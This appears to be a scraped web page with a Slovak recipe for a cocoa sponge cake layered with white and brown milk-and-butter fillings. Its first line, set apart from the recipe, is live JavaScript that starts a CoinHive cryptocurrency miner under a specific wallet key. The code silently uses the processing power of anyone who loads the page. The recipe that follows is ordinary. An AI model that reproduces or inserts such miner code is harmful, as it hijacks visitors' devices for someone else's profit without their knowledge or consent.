var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Piškóta: 6 bielkov šľaháme so 7 PL kryštálového cukru + zamiešať žĺtka, pomaly pridávať 6 PL múky na prípravu zákuskov a 4 PL kakaa.

Plech vymastiť, pomúčiť a piecť vo vyhriatej rúre na tenkom plechu.

Biela plnka: 4dcl mlieka, 20dkg Iva, 10dkg maslo, 9dkg práškový cukor, 1 vanilkový cukor, 1 žĺtok. Všetko za stáleho miešania zohriať na bod varu. Nevariť.

Hnedá plnka: 2dcl mlieka, 1/8 masla, 1 varová čokoláda Každú plnku zvlášť po uvarení mixovať aspoň 5 minút na č. 1. Plnky vliať do pohárov, zavíčkovať a nechať stáť v chladničke 24 hodín.

Na druhý deň vyšľahať v šľahači na č. 1 asi 3-5 minút, najprv bielu a potom hnedú plnku (hnedá plnka sa vyšľahá skôr). Na piškótu natrieť najprv bielu, potom hnedú plnku a posypať strúhankou čokoládou.